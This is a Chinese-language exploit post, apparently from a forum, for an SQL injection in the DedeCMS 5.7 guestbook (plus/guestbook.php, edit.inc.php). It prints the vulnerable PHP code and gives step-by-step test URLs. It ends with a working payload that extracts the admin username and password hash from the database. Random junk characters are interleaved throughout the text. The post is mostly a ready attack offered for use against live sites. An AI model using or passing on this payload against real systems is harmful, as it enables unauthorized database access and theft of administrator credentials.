影响版本为5.7% r9 ^) Y. w1 L2 J x3 q# C
A1 S3 V: B! j' q3 F/ m1 ^8 W4 P
漏洞文件edit.inc.php具体代码:
- P% @2 J! N& K3 U$ U1 R& M( y- p6 i3 `2 F: o
< ?php % u* b/ i9 k. _5 C" A, k) m8 `( d
; F- j9 g% g' ]/ Q$ w, Z. Y, \if(!defined('DEDEINC')) exit('Request Error!'); ) l C; x9 K+ c( B" H# s+ H
5 x% t6 i' J4 @: \, o% v+ B. l% T# R5 q' I
2 G k. }/ [& u
8 ~. B/ j1 U9 ?+ Xif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];
( h; d" x: x& r. M6 s% M* d/ v
else $GUEST_BOOK_POS = "guestbook.php"; 9 d6 ^& Y5 a3 A0 }, B
- q0 A& h0 U- k7 X) u5 d+ D! ~9 ?
! ~" U0 y3 |7 K9 X H% H1 ^' B W t( f
$id = intval($id); 7 W# j- f' p% n/ [8 w# e
- R! w) U( c0 gif(empty($job)) $job='view';
8 o8 X4 B; a0 l* X" v7 y7 K9 d2 k- Q
! [6 V" t) a) \" ?7 K
$ b! j q! q5 C) e0 _& k* S) Kif($job=='del' && $g_isadmin)
/ ?# Q& o* ]4 k9 e+ D, Z$ B9 Y& l, ~. @4 y9 V: E8 z: _
{ & A$ O1 a9 L/ m0 [' _# g9 g9 z
( z k( }0 T8 c ^ ]8 w$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); ; U3 X- o; S+ I0 j5 k
8 ~: ~& e! ]4 n( n, YShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); - f C$ T2 f( Y: l/ E6 r" s% `
) d% P8 C5 x; |! _exit(); 7 W6 l" I) C) s% e w
* V0 k8 B4 M% ]/ U}
( S: o( W* }7 _ B/ p; ]7 i h$ ]: ?* v5 i
else if($job=='check' && $g_isadmin)
4 N) ]7 T# x3 k6 E2 v
) o8 z; _$ D: J{ % u! X/ H2 P$ g0 A. t
0 m5 q3 c" Q$ U# Y7 ^7 P+ D& ?* S. R' k
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");
6 g$ b0 s4 y4 z6 U9 \ f, ^2 `
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS); 0 k. F0 u% |) c/ K! K# u) J
6 d0 t* [" M. `% J: e: [; @1 dexit();
' s8 ?' O8 |8 \% g' A
* }% @+ y( f# ~0 c} 6 q1 i9 k5 l! A+ P! W$ \% e! K
0 u/ m9 g* u8 d1 o' r; Aelse if($job=='editok') }" }0 v0 o$ l; \
5 i6 Y( t1 S# p" q& A$ P+ i{ 4 I/ n( x% U0 K+ |8 I
% C& x& J v9 { f- b. Q
$remsg = trim($remsg);
- f; b P8 r, U, G, z% g7 b1 w) }+ @
5 c4 A2 c2 c2 w t$ D3 R7 L fif($remsg!='')
7 s! @" e {& ~0 E
" f6 L- ]) O' E6 h7 \3 W{
. ?- Q( _ ]0 C/ q7 c6 f
. Q G5 U- J) n' l//管理员回复不过滤HTML By:Errorera blog:errs.cc " I: G( q, a: R% T) U2 x
& ~! L: r9 }4 g
if($g_isadmin) 9 W" h6 @0 x3 H1 Y2 I6 y( [
0 m0 M! t, Y! a0 U& B{ ; ]) ?0 ^& w8 u( f' a2 d$ I2 ^
5 Q6 A4 O0 F; D& E+ l# `$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 4 w4 ?8 j! W' {4 |
N: V B& Z" L: w8 J
//$remsg <br /><font color=red>管理员回复:</font> }
7 ~' ]9 f& @- f& l' K) x7 ?& ~& ~" ?- D1 T) ]2 w
else
k _9 j. j) D4 N" Q9 _2 y; J
, W' Z" Z, h6 k7 }4 s0 F{ 8 H" W2 u& ^: ~" u, `7 M/ Y
1 g4 ^" S" g6 l+ D0 U5 k( M5 v$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
5 l4 O9 x/ h+ X1 C" t% k- q u1 ]- k9 d/ P) T
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";
" R* M/ k: g" L% M+ I# l! L h/ e' W( W) X
$remsg = trimMsg(cn_substrR($remsg, 1024), 1); 3 ]3 }) _& i- k) \1 f# r4 _
R' I* S, N9 X$ j* g0 p5 B
$msg = $oldmsg.$remsg;
0 a' i' f$ }4 n% ^$ I& \) W8 |0 t
3 c9 V Q( J' O3 @}
6 a; P6 c) w& P/ M" y. v6 Q* c" E- g) ?7 _8 k+ i4 b
}
3 Y0 e; R' i1 V7 ~. m9 s4 J. F9 y8 j' n0 q3 N# o0 ?
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc : m: b0 i( r! w! H
. i9 E" J( A5 q. j
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");
* {" I+ T) a$ m' k3 V. s5 e) ^: t5 C1 m d; c8 Y2 ?
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); / E' _8 G, b) ]. z2 f
, r; _5 T- i) S, q0 k$ uexit(); : M7 r8 n# J) G" p: m
3 I- g2 f# {0 r7 a" |} . u) m! ]; C2 B
/ w- o) u5 T8 S0 `4 I% C
//home:www.errs.cc 7 m/ X0 |" t. P% s- ?% y1 W9 I
8 o$ Z" R) ^; o; Y
if($g_isadmin) # z$ G( G d/ ]
; E; y8 t/ n o2 ]
{ * v2 @/ B+ Z+ n0 {0 K' J
8 ]& ~" b% c9 Q0 H# z i
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
( _9 j4 c! S1 p" x* {, C# ?7 T
) B% A/ X. G" M# m" {; W. }require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
. [- n9 ~' n, I4 z7 f9 Y2 G/ L( B. m; j7 r! f
}
8 d/ D5 u7 t1 }' N* R V* a* l: H: l+ r1 F+ `
else 5 x0 _ j, ^0 B- Y- Z2 D
+ M7 |6 G5 G" E{ ! w5 `4 G# d+ k
2 R2 e1 S/ x1 t- \
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
$ x1 Z" m5 B. R+ A$ h
" r/ w: B; N, ~, G6 g& w) c Xrequire_once(DEDETEMPLATE.'/plus/guestbook-user.htm');
9 E9 n1 }( @& p7 n& A+ ?% t' ?- `
% S, a; R! ^7 C- p( b5 O3 S} 漏洞成功需要条件:3 H) N0 G" U7 [& a
1. php magic_quotes_gpc=off5 u0 R4 V+ p, i9 G" I! n
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
& A3 W$ _7 M2 e5 C( i" W% x+ ]/ y" ~
怎么判断是否存在漏洞:' n# x1 n' X- v6 ?
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
- ?' K5 a e7 S) q2 {+ J7 K然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID; O6 k: J( l( Q/ w3 B6 o8 w7 s
访问:; c6 q' L- J* y3 t
. b( E9 w% a; B( C2 {* y$ m" Y! [
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了1 c0 i/ N. S5 o% ?/ B- D
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证
- t) G8 Z4 A4 Z/ S9 F! k; X
) W+ a$ `6 Q4 a! I* t7 n) b' d
/ w7 T( W8 w. v' K$ D明漏洞无法利用应为他开启了 php magic_quotes_gpc=off: b& d; E4 a0 L
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。5 M! Z$ g# b) t
那么再次访问
; k. J) s) i! R/ c9 a) q4 m6 E q I1 t
www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
. b" W4 E; E' L& w0 {# i8 p
6 b( x% q! s: ~/ z5 C6 P大概利用就是这样,大家有兴趣的多研究下!!0 [! \; T' D, w, F7 w: P* |
. u* ]4 ~5 r r6 i/ a
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!& ?9 a2 J6 h# M7 ?4 e0 x
/ u) M& y9 H: h8 Uview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |